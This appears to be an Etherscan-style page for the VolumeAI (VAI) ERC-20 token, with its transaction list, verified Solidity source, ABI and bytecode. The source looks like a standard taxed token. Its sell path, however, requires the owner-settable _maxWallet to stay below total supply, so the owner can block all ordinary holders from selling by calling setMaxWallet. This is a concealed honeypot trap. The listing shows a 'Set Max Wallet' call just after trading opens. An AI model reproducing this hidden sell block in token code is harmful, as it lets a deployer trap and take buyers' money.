More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 50 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 19385016 | 245 days ago | IN | 0 ETH | 0.0043615 | ||||
Approve | 19385016 | 245 days ago | IN | 0 ETH | 0.00437036 | ||||
Approve | 19384806 | 245 days ago | IN | 0 ETH | 0.00510441 | ||||
Approve | 19384804 | 245 days ago | IN | 0 ETH | 0.00505775 | ||||
Approve | 19384797 | 245 days ago | IN | 0 ETH | 0.00534981 | ||||
Set Max Wallet | 19384794 | 245 days ago | IN | 0 ETH | 0.011472 | ||||
Approve | 19384792 | 245 days ago | IN | 0 ETH | 0.00565878 | ||||
Approve | 19384791 | 245 days ago | IN | 0 ETH | 0.00533552 | ||||
Approve | 19384791 | 245 days ago | IN | 0 ETH | 0.00533552 | ||||
Approve | 19384791 | 245 days ago | IN | 0 ETH | 0.00535917 | ||||
Approve | 19384791 | 245 days ago | IN | 0 ETH | 0.00535917 | ||||
Approve | 19384791 | 245 days ago | IN | 0 ETH | 0.00556801 | ||||
Approve | 19384791 | 245 days ago | IN | 0 ETH | 0.00611392 | ||||
Approve | 19384790 | 245 days ago | IN | 0 ETH | 0.00535917 | ||||
Approve | 19384790 | 245 days ago | IN | 0 ETH | 0.00535917 | ||||
Approve | 19384790 | 245 days ago | IN | 0 ETH | 0.00535917 | ||||
Approve | 19384790 | 245 days ago | IN | 0 ETH | 0.00535917 | ||||
Approve | 19384790 | 245 days ago | IN | 0 ETH | 0.00535917 | ||||
Approve | 19384790 | 245 days ago | IN | 0 ETH | 0.00535917 | ||||
Approve | 19384790 | 245 days ago | IN | 0 ETH | 0.00535917 | ||||
Approve | 19384790 | 245 days ago | IN | 0 ETH | 0.00535917 | ||||
Approve | 19384790 | 245 days ago | IN | 0 ETH | 0.00535917 | ||||
Approve | 19384790 | 245 days ago | IN | 0 ETH | 0.00535917 | ||||
Open Trading | 19384789 | 245 days ago | IN | 0 ETH | 0.00310667 | ||||
Approve | 19384781 | 245 days ago | IN | 0 ETH | 0.00565883 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
VolumeAI
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-03-07 */ // SPDX-License-Identifier: UNLICENSE /* Website: https://www.volumeAI.tech/ X: https://x.com/VolumeAI_Erc Medium: https://medium.com/@VolumeAI Telegram: https://t.me/VolumeAI_Erc Telegram detectors (Burn & sniper & signals): https://t.me/VolumeAi_Alerts https://t.me/VolumizerBurnBot https://t.me/VolumizerSniper Powered by: ██╗░░░██╗░█████╗░██╗░░░░░██╗░░░██╗███╗░░░███╗██╗███████╗███████╗██████╗░ ██║░░░██║██╔══██╗██║░░░░░██║░░░██║████╗░████║██║╚════██║██╔════╝██╔══██╗ ╚██╗░██╔╝██║░░██║██║░░░░░██║░░░██║██╔████╔██║██║░░███╔═╝█████╗░░██████╔╝ ░╚████╔╝░██║░░██║██║░░░░░██║░░░██║██║╚██╔╝██║██║██╔══╝░░██╔══╝░░██╔══██╗ ░░╚██╔╝░░╚█████╔╝███████╗╚██████╔╝██║░╚═╝░██║██║███████╗███████╗██║░░██║ ░░░╚═╝░░░░╚════╝░╚══════╝░╚═════╝░╚═╝░░░░░╚═╝╚═╝╚══════╝╚══════╝╚═╝░░╚═╝ */ pragma solidity 0.8.24; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract VolumeAI is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"Volume Ai"; string private constant _symbol = unicode"VAI"; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address payable private _taxWallet; uint256 private _initialBuyTax=10; uint256 private _initialSellTax=30; uint256 private _finalBuyTax=5; uint256 private _finalSellTax=5; uint256 private _reduceBuyTaxAt=25; uint256 private _reduceSellTaxAt=35; uint256 private _preventSwapBefore=5; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1e9 * 10**_decimals; uint256 public _maxWallet = _tTotal / 50; uint256 public _taxSwapThreshold= _tTotal / 1000; uint256 public _maxTaxSwap= _tTotal / 100; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[msg.sender] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { uint256 taxAmount=0; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); require(tradingOpen); if (from == uniswapV2Pair) { require(balanceOf(to) + amount <= _maxWallet, "Exceeds the maxWallet."); _buyCount++; } if(to == uniswapV2Pair){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); require(_maxWallet < _tTotal); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) { swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, _taxWallet, block.timestamp ); } function openTrading() external onlyOwner() { swapEnabled = true; tradingOpen = true; } function setMaxWallet(uint amount) external onlyOwner { _maxWallet = amount; } function changeFees(uint256 _newFee) external onlyOwner{ require(_newFee<=30); _finalBuyTax=_newFee; _finalSellTax=_newFee; } function excludeFromFees(address account, bool status) external onlyOwner { _isExcludedFromFee[account] = status; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"changeFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600a600555601e6006556005600755600560085560196009556023600a556005600b555f600c5560326009600a6200003d9190620004bd565b6200004d90633b9aca00620004d4565b620000599190620004ee565b600d556103e86200006d6009600a620004bd565b6200007d90633b9aca00620004d4565b620000899190620004ee565b600e5560646200009c6009600a620004bd565b620000ac90633b9aca00620004d4565b620000b89190620004ee565b600f556011805461ffff60a81b19169055348015620000d5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633179055620001366009600a620004bd565b6200014690633b9aca00620004d4565b335f9081526001602081815260408084209490945560038152838320805460ff1990811684179091553084528484208054821684179055737a250d5630b4cf539739df2c5dacb4c659f2488d938490527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba88054909116909217909155601080546001600160a01b03191683179055825163c45a015560e01b81529251919263c45a015592600480830193928290030181865afa15801562000209573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200022f91906200050e565b6001600160a01b031663c9c653963060105f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200028f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002b591906200050e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000300573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200032691906200050e565b601180546001600160a01b0319166001600160a01b03929092169190911790556200034e3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003876009600a620004bd565b6200039790633b9aca00620004d4565b60405190815260200160405180910390a362000536565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200040257815f1904821115620003e657620003e6620003ae565b80851615620003f457918102915b93841c9390800290620003c7565b509250929050565b5f826200041a57506001620004b7565b816200042857505f620004b7565b81600181146200044157600281146200044c576200046c565b6001915050620004b7565b60ff841115620004605762000460620003ae565b50506001821b620004b7565b5060208310610133831016604e8410600b841016171562000491575081810a620004b7565b6200049d8383620003c2565b805f1904821115620004b357620004b3620003ae565b0290505b92915050565b5f620004cd60ff8416836200040a565b9392505050565b8082028115828204841417620004b757620004b7620003ae565b5f826200050957634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156200051f575f80fd5b81516001600160a01b0381168114620004cd575f80fd5b6110c480620005445f395ff3fe608060405260043610610108575f3560e01c8063715018a611610092578063a9059cbb11610062578063a9059cbb146102e4578063bf474bed14610303578063c024666814610318578063c9567bf914610337578063dd62ed3e1461034b575f80fd5b8063715018a61461026a57806382247ec01461027e5780638da5cb5b1461029357806395d89b41146102b9575f80fd5b806323b872dd116100d857806323b872dd146101bc578063313ce567146101db5780635d0044ca146101f65780636cda375b1461021757806370a0823114610236575f80fd5b806306fdde0314610113578063095ea7b3146101565780630faee56f1461018557806318160ddd146101a8575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b50604080518082019091526009815268566f6c756d6520416960b81b60208201525b60405161014d9190610cb7565b60405180910390f35b348015610161575f80fd5b50610175610170366004610d1a565b61038f565b604051901515815260200161014d565b348015610190575f80fd5b5061019a600f5481565b60405190815260200161014d565b3480156101b3575f80fd5b5061019a6103a5565b3480156101c7575f80fd5b506101756101d6366004610d44565b6103c5565b3480156101e6575f80fd5b506040516009815260200161014d565b348015610201575f80fd5b50610215610210366004610d82565b61042c565b005b348015610222575f80fd5b50610215610231366004610d82565b610463565b348015610241575f80fd5b5061019a610250366004610d99565b6001600160a01b03165f9081526001602052604090205490565b348015610275575f80fd5b506102156104a3565b348015610289575f80fd5b5061019a600d5481565b34801561029e575f80fd5b505f546040516001600160a01b03909116815260200161014d565b3480156102c4575f80fd5b5060408051808201909152600381526256414960e81b6020820152610140565b3480156102ef575f80fd5b506101756102fe366004610d1a565b610514565b34801561030e575f80fd5b5061019a600e5481565b348015610323575f80fd5b50610215610332366004610db4565b610520565b348015610342575f80fd5b50610215610573565b348015610356575f80fd5b5061019a610365366004610def565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039b3384846105b5565b5060015b92915050565b5f6103b26009600a610f0f565b6103c090633b9aca00610f1d565b905090565b5f6103d1848484610615565b610422843361041d85604051806060016040528060288152602001611067602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610967565b6105b5565b5060019392505050565b5f546001600160a01b0316331461045e5760405162461bcd60e51b815260040161045590610f34565b60405180910390fd5b600d55565b5f546001600160a01b0316331461048c5760405162461bcd60e51b815260040161045590610f34565b601e811115610499575f80fd5b6007819055600855565b5f546001600160a01b031633146104cc5760405162461bcd60e51b815260040161045590610f34565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61039b338484610615565b5f546001600160a01b031633146105495760405162461bcd60e51b815260040161045590610f34565b6001600160a01b03919091165f908152600360205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461059c5760405162461bcd60e51b815260040161045590610f34565b6011805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526003602052604081205460ff1615801561065557506001600160a01b0383165f9081526003602052604090205460ff16155b1561082a576106866064610680600954600c541161067557600554610679565b6007545b859061099f565b90610a24565b601154909150600160a01b900460ff1661069e575f80fd5b6011546001600160a01b039081169085160361073c57600d54826106d6856001600160a01b03165f9081526001602052604090205490565b6106e09190610f69565b11156107275760405162461bcd60e51b815260206004820152601660248201527522bc31b2b2b239903a34329036b0bc2bb0b63632ba1760511b6044820152606401610455565b600c8054905f61073683610f7c565b91905055505b6011546001600160a01b039081169084160361079f576107776064610680600a54600c541161076d57600654610679565b600854859061099f565b90506107856009600a610f0f565b61079390633b9aca00610f1d565b600d541061079f575f80fd5b305f90815260016020526040902054601154600160a81b900460ff161580156107d557506011546001600160a01b038581169116145b80156107ea5750601154600160b01b900460ff165b80156107f75750600e5481115b80156108065750600b54600c54115b15610828576108286108238461081e84600f54610a65565b610a65565b610a79565b505b80156108a257305f908152600160205260409020546108499082610bec565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108999085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546108c49083610c4a565b6001600160a01b0385165f908152600160205260409020556109076108e98383610c4a565b6001600160a01b0385165f9081526001602052604090205490610bec565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6109508585610c4a565b60405190815260200160405180910390a350505050565b5f818484111561098a5760405162461bcd60e51b81526004016104559190610cb7565b505f6109968486610f94565b95945050505050565b5f825f036109ae57505f61039f565b5f6109b98385610f1d565b9050826109c68583610fa7565b14610a1d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610455565b9392505050565b5f610a1d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c8b565b5f818311610a735782610a1d565b50919050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610abf57610abf610fc6565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b16573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3a9190610fda565b81600181518110610b4d57610b4d610fc6565b6001600160a01b039283166020918202929092010152601054610b7391309116846105b5565b6010546004805460405163791ac94760e01b81526001600160a01b039384169363791ac94793610bae9388935f938993921691429101610ff5565b5f604051808303815f87803b158015610bc5575f80fd5b505af1158015610bd7573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b5f80610bf88385610f69565b905083811015610a1d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610455565b5f610a1d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610967565b5f8183610cab5760405162461bcd60e51b81526004016104559190610cb7565b505f6109968486610fa7565b5f602080835283518060208501525f5b81811015610ce357858101830151858201604001528201610cc7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610d17575f80fd5b50565b5f8060408385031215610d2b575f80fd5b8235610d3681610d03565b946020939093013593505050565b5f805f60608486031215610d56575f80fd5b8335610d6181610d03565b92506020840135610d7181610d03565b929592945050506040919091013590565b5f60208284031215610d92575f80fd5b5035919050565b5f60208284031215610da9575f80fd5b8135610a1d81610d03565b5f8060408385031215610dc5575f80fd5b8235610dd081610d03565b915060208301358015158114610de4575f80fd5b809150509250929050565b5f8060408385031215610e00575f80fd5b8235610e0b81610d03565b91506020830135610de481610d03565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610e6957815f1904821115610e4f57610e4f610e1b565b80851615610e5c57918102915b93841c9390800290610e34565b509250929050565b5f82610e7f5750600161039f565b81610e8b57505f61039f565b8160018114610ea15760028114610eab57610ec7565b600191505061039f565b60ff841115610ebc57610ebc610e1b565b50506001821b61039f565b5060208310610133831016604e8410600b8410161715610eea575081810a61039f565b610ef48383610e2f565b805f1904821115610f0757610f07610e1b565b029392505050565b5f610a1d60ff841683610e71565b808202811582820484141761039f5761039f610e1b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561039f5761039f610e1b565b5f60018201610f8d57610f8d610e1b565b5060010190565b8181038181111561039f5761039f610e1b565b5f82610fc157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610fea575f80fd5b8151610a1d81610d03565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156110455784516001600160a01b031683529383019391830191600101611020565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200ac0291eb28fb8ffae99fff7bc54020eb4202bbc7f430ddf7401f6224f0e79fc64736f6c63430008180033
Deployed Bytecode
0x608060405260043610610108575f3560e01c8063715018a611610092578063a9059cbb11610062578063a9059cbb146102e4578063bf474bed14610303578063c024666814610318578063c9567bf914610337578063dd62ed3e1461034b575f80fd5b8063715018a61461026a57806382247ec01461027e5780638da5cb5b1461029357806395d89b41146102b9575f80fd5b806323b872dd116100d857806323b872dd146101bc578063313ce567146101db5780635d0044ca146101f65780636cda375b1461021757806370a0823114610236575f80fd5b806306fdde0314610113578063095ea7b3146101565780630faee56f1461018557806318160ddd146101a8575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b50604080518082019091526009815268566f6c756d6520416960b81b60208201525b60405161014d9190610cb7565b60405180910390f35b348015610161575f80fd5b50610175610170366004610d1a565b61038f565b604051901515815260200161014d565b348015610190575f80fd5b5061019a600f5481565b60405190815260200161014d565b3480156101b3575f80fd5b5061019a6103a5565b3480156101c7575f80fd5b506101756101d6366004610d44565b6103c5565b3480156101e6575f80fd5b506040516009815260200161014d565b348015610201575f80fd5b50610215610210366004610d82565b61042c565b005b348015610222575f80fd5b50610215610231366004610d82565b610463565b348015610241575f80fd5b5061019a610250366004610d99565b6001600160a01b03165f9081526001602052604090205490565b348015610275575f80fd5b506102156104a3565b348015610289575f80fd5b5061019a600d5481565b34801561029e575f80fd5b505f546040516001600160a01b03909116815260200161014d565b3480156102c4575f80fd5b5060408051808201909152600381526256414960e81b6020820152610140565b3480156102ef575f80fd5b506101756102fe366004610d1a565b610514565b34801561030e575f80fd5b5061019a600e5481565b348015610323575f80fd5b50610215610332366004610db4565b610520565b348015610342575f80fd5b50610215610573565b348015610356575f80fd5b5061019a610365366004610def565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039b3384846105b5565b5060015b92915050565b5f6103b26009600a610f0f565b6103c090633b9aca00610f1d565b905090565b5f6103d1848484610615565b610422843361041d85604051806060016040528060288152602001611067602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610967565b6105b5565b5060019392505050565b5f546001600160a01b0316331461045e5760405162461bcd60e51b815260040161045590610f34565b60405180910390fd5b600d55565b5f546001600160a01b0316331461048c5760405162461bcd60e51b815260040161045590610f34565b601e811115610499575f80fd5b6007819055600855565b5f546001600160a01b031633146104cc5760405162461bcd60e51b815260040161045590610f34565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61039b338484610615565b5f546001600160a01b031633146105495760405162461bcd60e51b815260040161045590610f34565b6001600160a01b03919091165f908152600360205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461059c5760405162461bcd60e51b815260040161045590610f34565b6011805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526003602052604081205460ff1615801561065557506001600160a01b0383165f9081526003602052604090205460ff16155b1561082a576106866064610680600954600c541161067557600554610679565b6007545b859061099f565b90610a24565b601154909150600160a01b900460ff1661069e575f80fd5b6011546001600160a01b039081169085160361073c57600d54826106d6856001600160a01b03165f9081526001602052604090205490565b6106e09190610f69565b11156107275760405162461bcd60e51b815260206004820152601660248201527522bc31b2b2b239903a34329036b0bc2bb0b63632ba1760511b6044820152606401610455565b600c8054905f61073683610f7c565b91905055505b6011546001600160a01b039081169084160361079f576107776064610680600a54600c541161076d57600654610679565b600854859061099f565b90506107856009600a610f0f565b61079390633b9aca00610f1d565b600d541061079f575f80fd5b305f90815260016020526040902054601154600160a81b900460ff161580156107d557506011546001600160a01b038581169116145b80156107ea5750601154600160b01b900460ff165b80156107f75750600e5481115b80156108065750600b54600c54115b15610828576108286108238461081e84600f54610a65565b610a65565b610a79565b505b80156108a257305f908152600160205260409020546108499082610bec565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108999085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546108c49083610c4a565b6001600160a01b0385165f908152600160205260409020556109076108e98383610c4a565b6001600160a01b0385165f9081526001602052604090205490610bec565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6109508585610c4a565b60405190815260200160405180910390a350505050565b5f818484111561098a5760405162461bcd60e51b81526004016104559190610cb7565b505f6109968486610f94565b95945050505050565b5f825f036109ae57505f61039f565b5f6109b98385610f1d565b9050826109c68583610fa7565b14610a1d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610455565b9392505050565b5f610a1d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c8b565b5f818311610a735782610a1d565b50919050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610abf57610abf610fc6565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b16573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3a9190610fda565b81600181518110610b4d57610b4d610fc6565b6001600160a01b039283166020918202929092010152601054610b7391309116846105b5565b6010546004805460405163791ac94760e01b81526001600160a01b039384169363791ac94793610bae9388935f938993921691429101610ff5565b5f604051808303815f87803b158015610bc5575f80fd5b505af1158015610bd7573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b5f80610bf88385610f69565b905083811015610a1d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610455565b5f610a1d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610967565b5f8183610cab5760405162461bcd60e51b81526004016104559190610cb7565b505f6109968486610fa7565b5f602080835283518060208501525f5b81811015610ce357858101830151858201604001528201610cc7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610d17575f80fd5b50565b5f8060408385031215610d2b575f80fd5b8235610d3681610d03565b946020939093013593505050565b5f80